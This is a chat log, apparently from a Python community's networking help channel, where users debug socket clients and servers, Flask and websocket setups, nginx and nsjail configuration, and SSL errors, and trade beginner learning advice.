whole_file = fobj.read()
send_str+="Content length: {}\n".format(len(whole_file))
conn_sock.sendall(send_str.encode())
conn_sock.sendall(whole_file)
I'm trying to set up a simple http server which reads in a file and prints it out
it just returns nothing
idk why
http uses \r\n
also your code will throw undefined variable whole_file on 404s
@floral python
variables inside if- else statements aren't defined outside it or smth?
hi i need help
hi
Idk
im new here , any recommendations to learn networking?
@buoyant bison
You can find some in the bottom of the pinned message. I personally recommend you look into the OSi model, get to know some basics such as ip adresses, lan, nat, then you could try making a basic server-client program using raw sockets or perhaps something more higher level.
thanks
anyone up for help regarding how to get information from jetson nano to cloud server? and also getting online status?
cries in beginner wish i could
hey guys I have a question. I have been to a gaming lan center where all computers use a local disk for loading the games. I want to learn more about how it is set up but I cannot come up with proper words to even search for it. Is it called diskless network?
Hi
So I am currently working on a project in python and I need other people to be able to connect to my project through my server
are you using a vps @ember ledge
Yes
ssh
^
Hi - not sure if this is the right section. I am trying to write something that reads pcaps and is able to dissect the messages. I found scapy to handle the pcap files but dont know where to start in regards to dissecting the data. Anyone know any good docs/tutorials/books i can look at to learn this.
reason i am doing this instead of using say wireshark with a lua is because i want to implement this within a check
that i can automate and return data to a dashboard
What kind of dissecting do you want to do
its exchange pcaps - i have the exchange docs available on the protocol they are using. i wanna convert the tcp payload into human readable version.
im not too familiar with pcaps+python though. so if you know a good resource to start reading taht would help
ive googled but theres tutorials on what to do - but not necessarily helping me understand it
google has blocked my ip because I used OSINT tools one too many times
is it permanent?
Like MS Exchange protocol?
need help
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
the rectangle moves fine at times but sometimes it moves forward and backward
@mental saddle If it isn't using TCP then order isn't guarenteed
you can send a packet # along with each packet and then only update position if the packet # is higher than the last one you recieved
I'm using Google Drive API using Google's official API wrapper libraries.
A few minutes ago I started getting errors from the ssl module, like
...
File "/usr/lib/python3.8/ssl.py", line 1241, in recv_into
return self.read(nbytes, buffer)
File "/usr/lib/python3.8/ssl.py", line 1099, in read
return self._sslobj.read(len, buffer)
OSError: [Errno 0] Error
and
File "/usr/lib/python3.8/ssl.py", line 1241, in recv_into
return self.read(nbytes, buffer)
File "/usr/lib/python3.8/ssl.py", line 1099, in read
return self._sslobj.read(len, buffer)
ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:2622)
What can I do to debug this issue?
It was working absolutely fine before.
...I also get free(): corrupted unsorted chunks now... well, that's a whole new level of fun.
what version of openssl do you have
$ openssl version
OpenSSL 1.1.1 11 Sep 2018
well, it worked perfectly an hour ago or so ๐ค
does the error happen consistently now?
Apparently this can be caused by including the port in the Host field of the HTTP request
not sure if that is relevant here without any code though
Well, it's a bit weird. When I do certain requests, it works flawlessly. And now it throws different errors.
Apparently this can be caused by including the port in the Host field of the HTTP request
What do you mean by that?
Have you ever looked at an HTTP conversation in wireshark?
or in curl for that matter
Oh, I see
Its just a field that gets sent along with the request
I think its from a http -> https redirect
causes the issue
does the server redirect to a different port?
no
alright, I'm going to bed now, will try to fix it tomorrow
free(): corrupted unsorted chunks is really weird
that's all because Google mixes camelCase and snake_case in their parameter and variable names, of course
thanks for the help, maybe I should just upgrade openssl and see what happens
I've put a mutex on Google API access, that fixed everything
Now I'm even more puzzled.
Hi guys. I am a beginner. I am interested to do a project on Networking. can i get some ideas?
Port scanner @bright condor
thanks @ember ledge will check that out
Kk
This and also a command line chat app

So I needed help and my question was how do I get proxies from a file and put them in a request
@storm saffron I mean getting a proxyโs ip and port and put it in a dictionary. Getting a proxy ip:port and use it to send a get request using requests module.
What is the difference between latency and respond time?
i have no idea
How do I connect to discord from a proxy?
Connect to discord how? From an api wrapper or through a get/post request? If you're sending get/post request through the requests module you can pass in a proxies argument. Discord.py also has a way.
networking resources please
Can I ask here for help on webscraping replies to my instagram dms from friends or is that considered very against tos? Not a stupid spam bot but something to, for example print my insta dms in the pyhton console in realtime. pingy
@narrow minnow agasint TOS
networking resources please
@ember ledge there are some in the bottom of the pinned message. Personally I recommend you look into the OSI model then read up on ip, lan, etc.. Then eventually try to build a very basic chat app. There are many great resources on building a chat app and you will learn a lot if you start to build something.
thank you very much! i am bookmarking this message
Guys network question.
I am serving a Flask website local on my device
threading.Thread(target=app.run(host="127.0.0.1", port=5000).start()
.....
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
Then on that website I have in the JavaScript a websocket:
var ws = new WebSocket("ws://127.0.0.6:5678/")
that I connect to in my Python script again
start_server = websockets.serve(handle_ws, "127.0.0.6", 5678)
This will all work on my device, I can go to the website and the websocket will make a connection. Now I want to use this on a different device on the local network, but I can't figure out how to get the websocket part working..
Changing the Flask part to:
threading.Thread(target=app.run(host="0.0.0.0", port=5000).start()
And then connecting to the IPv4 address of the hosting PC 192.168.X.X:5000 works, also on other devices. But for the websocket part I can't figure it out.
I tried to change
var ws = new WebSocket("ws://192.168.X.X:5678/")
and
start_server = websockets.serve(handle_ws, "0.0.0.0", 5678)
And vice verse, but that doesn't work.
Anyone?
sad noises ๐ฆ
I managed to fix it by changing the Thread line to this
threading.Thread(target=app.run, kwargs={'host': '0.0.0.0', 'port': 5000}).start()
I noticed that when I directly put args in the Thread app.run() it wouldn't work even locally, now it does ๐
However now I also figured out that Python websockets only send messages to 1 clients at a time... I was hoping to all of them :C
Just use a loopโข๏ธ
It has to send them one at a time regardless of if you do it or if it does it internally
It's all async stuff and I try to send them to all of my connected clients in a for loop but it's giving alot of problems to the async library
The library has some pretty weird stuff and lack on docs that makes it hard to use
But there isn't really an alternative..
@plucky fiber really bad idea mixing flask and async
Especially come deployment where gevent will clash with the asyncio loop if you use that deployment method
If you want todo it like that I would highly advise using Quart which is pretty much drop in async flask or sanic which is much more perfomant with WS built in
Hmh.. I use Flask only when the IP address is entered to load an HTML file, from then on Flask won't do anything anymore. There's Javascript running on the hosted HTML file which then communicates with Python websockets. This way all data is changed live on the webpage without refreshing. I couldn't find another way to host an HTML file other than Flask.
I would personally go with sanic for that, been doing a similar thing with it
I was having trouble with it for so long, I had the websockets running and then realised I didn't host a file yet.. I tried a lot of things and ended up with Flask only getting to work.
I will have a look at sanic right now, thank you ๐
That's a test system we setup
Use Sanic to host the webpage? Looks very similar to Flask
Sanic does both
Take a look at what we've done for testing there, though the backend code itself is messy you'll probably find the router module useful for controlling your layout
That's exactly what I've been looking for... ๐ฎ
Might also find euros useful but idk if I committed that yet
I'll have a look! Let me get it straight though: Sanic hosts the HTML file, on the HTML file runs Javascript websocket which then connects to the Python code/socket that can read and send the messages
Yh
Does it work on python 3.7? Seems it's not supported anymore sanic
Ahh nice man!
I have to go home now, I will have a look at it tomorrow and probably ask you a few more questions about it :D, hope that's ok for you
Np that's fine
I mean you can just make a list and iterate through doing await ws.send
Yeah that's what I have with my current code and it makes it crash
Something with 'can't receive message for ws X while other ws already received the message'
something like that
anyway I really have to go, will talk to you later tomorrow ๐
Kk
can someone help me with nginx conf file
i know what it it and am stuck at a simple flask application deployment
got it, this is very rare topic
but i figured it out on my own.. it took two days for me realise a simple syntax of conf file
upstream flask_app_name { server localhost:8081; }
this above line took two fucking days to figure out
but am happy now๐๐ญ๐๐
damn i have no friends, i cannot share this with anyone but people on discord๐ญ
hmmm,.............๐ญ๐ญ๐ญ๐ญ๐ญ
Is there a difference between a Procfile and RUN from a Dockerfile?
I'm trying to do:
web: gunicorn --worker-class eventlet -w 1 app:app
how would you add a suffix list in python for resolving hosts
currently using the socket library
if it fails just go and append each suffix to the end of the host
how decrypt https
@upbeat forge pretty simple; you dont
guys i need a website which can give me free server on the cloud which is very fast because i need to query for downloading a 5 - 50 kb file using a website link
pick 1:
- free
- fast
Hello , Ive been trying to deploy a service using nsjail , but each time I do so , and connect to the service with nc , I get , css [E][2020-09-30T11:18:25+0000][6] pid_t subproc::runChild(nsjconf_t*, int, int, int, int)():464 clone(flags=CLONE_NEWNS|CLONE_NEWCGROUP|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWUSER|CLONE_NEWPID|CLONE_NEWNET|SIGCHLD) failed. You probably need root privileges if your system doesn't support CLONE_NEWUSER. Alternatively, you might want to recompile your kernel with support for namespaces or check the current value of the kernel.unprivileged_userns_clone sysctl: Operation not permitted I tried running
RUN (echo 1 | tee /proc/sys/kernel/unprivileged_userns_clone) || (echo 'kernel.unprivileged_userns_clone=1' | tee /etc/sysctl.d/00-local-userns.conf) 2>&1
RUN service procps restart```
as suggested by google, but that doesnt work either
this is How Im invoking nsjail ,
```sh
#!/bin/bash
./nsjail \
-Ml --port 9000 \
--user nobody \
--group nogroup \
--max_conns_per_ip 5 \
--cwd /home/ctf \
-R /app -R /bin -R /lib -R /lib32 -R /lib64 \
--time_limit 30 \
--cgroup_cpu_ms_per_sec 100 \
--cgroup_pids_max 64 \
--cgroup_mem_max 67108864 \
-- $@```
has anyone had an experience with hosting services using nsjail? , I'd be more than happy to be helped , thanks
Can someone help me with SocketIo Client i am bit confued
idk how to make a connection to the local host using the ip 127.0.0.1 on the port 12136
trying do the step 1
have you ever used sockets before
try a tutorial
sorry i would try to help but its midnight here and my brain is
fried
and i have physics work still to do 
I need help with SocketIO connect to a program
guys I want to have a basic rest api which returns a json file when i query
here's my code:
from flask import Flask
from flask_restful import Api, Resource
# Create Flask App
app = Flask(__name__)
# Create API
api = Api(app)
files = {
"file1.json" :
{
"command": "sudo apt install helloworld",
"url": "https://www.google.com",
}
}
class FileQuery(Resource):
def get(self, file_name : str):
return files[file_name]
# Adding Pagelink For /helloworld
api.add_resource(FileQuery, '/download/<string:file_name>')
if __name__ == "__main__":
# Debug Is True For Auto-Reload
app.run(debug=True)
would this work on an actual server when i send a download request to it?
and if i needed to add more files like the file1.json, would i have to keep on manually adding it to the files array
i want to just upload a json file, not paste all of its contents into a dictionary
anyone??
Erm well that's generally not how rest apis work
Normally you return a json response not a json file, and you dump the object to a str
how do you guys learn networking cause all i can find is basic tuts on sockets
so i don't know how to move on
Hey, I'm also new here, but take a look at the pinned messages. There are a few links, that might help.
Hello, anyone has some knowledge on socketserver? I am trying to create a socketserver.StreamRequestHandler but I can't get a stream of data from the client.
Thanks! I am trying to develop a server with two parts: A socket server that will receive a live mp4 by stream. And a second part that is an API server with Falcon that will send back the data to get request. My current problem is about the definition of a class that inherits from socketserver.StreamRequestHandler
According to the documentation (https://docs.python.org/3/library/socketserver.html) it has a self.rfile attribute but when I try to use it, it is undefined
can you show your code
Here my Socket server (nothing special)
class ThreadedSocketServer(object):
""" Threading example class
The run() method will be started and it will run in the background
until the application exits.
"""
def __init__(self, interval=1):
""" Constructor
:type interval: int
:param interval: Check interval, in seconds
"""
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True # Daemonize thread
thread.start() # Start the execution
def run(self):
HOST, PORT = "localhost", 8001
# Create the server, binding to localhost on port 9999
server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
# Activate the server; this will keep running until you
# interrupt the program with Ctrl-C
server.serve_forever()
My TCP handler:
class MyTCPHandler(socketserver.StreamRequestHandler):
def setup(self):
print(self.client_address[0],' connected')
socket_list.append(self)
def handle(self):
#throw error
self.rfile.readline().strip()
def finish(self):
print(self.client_address[0],' disconnected')
socket_list.remove(self)
here the handle is only for test, I want to use the .rfile somewhere else in my code (via socket_list)
My API server:
class StreamResource:
def on_get(self, req, resp):
#Have to be fixed
#resp.stream = hlserver.socket_list[0].rfile.iter_content(io.DEFAULT_BUFFER_SIZE)
app = falcon.API()
app.add_route('/livestream.mp4', StreamResource())
socket_server = hlserver.ThreadedSocketServer()
Thank you for your help!
I have added print(self.dir()) in the handle method
I get this
['request', 'client_address', 'server', '__module__', '__doc__', 'setup', 'handle', 'finish', 'rbufsize', 'wbufsize', 'timeout', 'disable_nagle_algorithm', '__init__', '__dict__', '__weakref__', '__repr__', '__hash__', '__str__', '__getattribute__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__new__', '__reduce_ex__', '__reduce__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']
I don't know how I can get a data stream to pass to my API
So im trying to establish a connection to a websocket
I have no idea how to do this
So here are someone of my question
1.How do i connect to a websocket
2.How do i send payload to a websocket
3.How do i recieve information from a websocket
a websocket is a very specific thing
Ah yeah. My bad
@ember ledge you need to use some WS client, depending on if this is for python or not, use aiohttp for python clients (uses asyncio)
if its for front end JS on a website or something
its just
let socket = new Websocket("ws://my-thing.com/my/ws/path");
can i ask questions related to web scraping here?
#web-development probably better
ยฏ_(ใ)_/ยฏ
Hey, so my teacher gave us an example client and server for a basic socket communication test.
But my client doesn't work for some reason.
#server
from socket import *
serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
serverSocket.bind(('',serverPort))
serverSocket.listen(1)
print('The server is ready to receive')
while True:
connectionSocket, addr = serverSocket.accept()
sentence = connectionSocket.recv(1024).decode()
capitalizedSentence = sentence.upper()
connectionSocket.send(capitalizedSentence.encode())
connectionSocket.close()
#client
from socket import *
serverName = 'servername'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect(serverName, serverPort)
sentence = input('Input lowercase sentence:')
clientSocket.send(sentence.encode())
modifiedSentence = clientSocket.recv(1024)
print('From Server: ', modifiedSentence.decode())
clientSocket.close()
I get this error whenever I run the client:
Traceback (most recent call last):
File "c:/Users/Brave/Desktop/Python Projects/Networks Assignment 1/client.py", line 8, in <module>
clientSocket.connect((serverName,serverPort))
socket.gaierror: [Errno 11001] getaddrinfo failed
i think in this case servername should be localhost
and serverName, serverPort being a tuple (serverName, serverPort)
It does open now. Now whenever I type in a sentence on the client while the server is open, the client closes immediately
And nothing happens
Okay, so my client works when I have it open in console on Visual Studio Code and my server is on cmd.exe, but my client closes when I send data through it on cmd.exe.
Is there a way I can prevent cmd.exe from closing there?
seems like the client needs an infinite loop too!
also why a lowercase sentence
Hey, so my server isn't sending data back to my client properly and I'm trying to figure out why
My current client is
#client
from socket import *
serverName = 'localhost'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName, serverPort))
clientNumber = input('Input Number: ')
clientName = input('Input client name:')
clientData = clientNumber + ':' + clientName
clientSocket.send(clientData.encode())
receivedData = clientSocket.recv(1024).decode()
dataArray = receivedData.split(':') #e.g. [99 + rand, Server of Bob Smith]
print(receivedData[0])
print(receivedData[1])
clientSocket.close()
My current server is
from socket import *
import random
familiarServerName = 'Server of Bob Smith'
serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
serverSocket.bind(('',serverPort))
serverSocket.listen(1)
print(familiarServerName)
while True:
connectionSocket, addr = serverSocket.accept()
receivedData = connectionSocket.recv(1024).decode()
dataArray = receivedData.split(':') #e.g. [99, Tri Basu]
receivedNumber = receivedData[0]
receivedName = receivedData[1]
clientOfName = "Client of" + receivedName
print(clientOfName)
print(familiarServerName)
outputNumber = receivedNumber + random.randint(0,100)
outputData = outputNumber + ":" + familiarServerName
connectionSocket.send(outputData.encode()) #send client data back
connectionSocket.close()
The error I get is that receivedData in the client doesn't have any items
Traceback (most recent call last):
File "c:/Users/Brave/Desktop/Python Projects/Networks Assignment 1/client.py", line 17, in <module>
print(receivedData[0])
IndexError: string index out of range
what will be a cool beginner project if i want to learn sockets
a very very basics client server comm ig
though sockets are very much not beginner level and their applications generally ramp up in difficulty rather quickly
oh i have done that much in a tutorial wanted to make something with it
you could do a very very basic http server
What headers do I need to add if I'm using the Gmail API via HTTP requests?
params = {
#What goes here?
}
r = requests.get('https://www.googleapis.com/gmail/v1/users/userId/labels/id',params)
print(r)
im using python to create a local web server with authentication;
i send HTTP/1.1 401 Unauthorised Authenticate: Basic relm=""
after one sign in the web browser remembers the auth details
how can i stop it from saving them or how can i set an expirery time?
@kindred turret you can make a chat app, im also new to networking and my progress isn't bad so i don't think its too complicated
@wanton egret I think you can send a 401 back again to force a login
Or something along those lines
what's the most reasonable way to deal with server to server communication?
right now i've got servers A & B that need to communicate with server C (the shared DB)
Hi i got issue of unstable server.exe file i mean the connection all time is connecting and disconnecting what can i do?? If i run the file from IDE so the connection is stable..
So, when i open my program to check if whatever i added works, i sometimes find bugs, so i need to go back, fix them, then close the program, re open it, and try again, but whenever i do this, when i open the program again, it keeps saying "Address already in use" even though the program was closed, and i made sure to close every connection before closing it, and i have to wait something like a minute or two before i can start working on it again, is there any way to avoid this?
to use WSS to communicate between my servers, do i just use this url pattern?
wss://{TARGETHOST}:{TARGETPORT}/{ETC}
@storm saffron thank you.
next problem;
when i include the style in the html document it works fine, but when i put it in a different file and link it, it does not work
note: when loading the file from the drive it works fine but loading it with my server is when it fails
the browsers developer tools shows the file was sent successfully and i can even see the style in text, it just does not get applied to the page
3
Ok so I have a chat room project and im going to put it on a vps so If I bind the ports can they join through ssh or they can only connect through client.py
what do you mean join by ssh
if you have an ssh service running and you open the ssh port then yes
but that's an awful idea
if you open only the port you're using for the chat room then only that port will get through
so client.py would work but someone could use another program to join as well
for something like that i'd personally use websockets lol
ssh just sounds cumbersome for something like that
that's what i read
guys how can i get a specific app / game ip from android using python ?
is there a way i could verify a user connects to a server with a proper client?
like rsa signature or something? I feel like that could be faked though
@upbeat forge no
if you use a rsa sig the private key's going to be visible in the source
Hmmm
Could I have the key update every time a client connects? That would be very hard to fake
A server side private key
if there was a simple fix, then cheating in games wouldn't be this prevalent
oh wait
how do you get the client to sign something without the private key
the only solution is to validate anything the client sends
mhm
If the professionals cant figure out how to do that I doubt I can
Client would only be able to verify server
Also if I were to make a chatroom what protocol should I use? TCP VOIP or what?
i would use TCP for text or updates etc and UDP for voice/video. but many people dont recommend mixing up tcp+udp and they recommend going for a mixture of unreliable udp + reliable udp. but whatever is the easier one you should go for it
yeah, and shouldnt assume the client program is valid. the crucial calculations must be made on server-side and you can add quite plenty of tweaks to check whether the client-sent data is valid
personally i would use TCP-only for everything else besides VOIP and fast-paced games like FPS
you can have quite fast-paced games in TCP too, for example many MMOs like WoW use only TCP
(I guess TCP is the main reason why WoW is quite forgiving when it comes to positioning and casting spells)
Is it possible to list all camera devies in your lan using python?
Well what kind of devices
There's no magic camera port or whatever but you could look for a web portal or something
anyone want to join a team in developing a game. We are 2 weeks in and looking for one more familiar with sockets
I think you can use opencv to check for cameras @steel sorrel
@mental saddle could u dm me with some details
sure
@shut roost that's for cameras connected to the local computer
What kind of web portal ? Can you explain me in detail please @storm saffron
Well there's no simple answer
Like trying to tell if there is a Welsh person on your LAN
You could check for Welsh things in Bluetooth device namea
Or maybe look at files on a NAS
There's just no one thing that would let you see if there's a camera on the network
When I was talking about with the portal is like
That's one thing a camera might do
You might be able to view the feed
Hey there, whats a good module for networking? Specifically Peer to Peer.
Please do ping me when you reply ๐ thanks!
what kind of networking @ember ledge
Peer to Peer
if you just want to do TCP/UDP communication then the python sockets module is fine
right but
tcp
udp
http
ip
lots of possibilities
whats the difference between tcp and udp?
TCP packets are guaranteed to retry
i.e. it will keep trying til the other end says it has arrived
UDP isn't
HTTP is like a web request, so GET or POST or similar
IP is below TCP and UDP, pretty much just sending individual packets across the network
there are a lot of complicating factors to this both modern and old
but that's the gist of it
what kind of thing do you want to accomplish
@balmy field HTTP
http seems ill-suited for p2p
peer to peer http is tricky because that requires a full web server to be set up
yep
what do you want to use the peer-to-peer for though
@storm saffron Im doing a project with 10 people , were making a cryptocurrency based on a new method
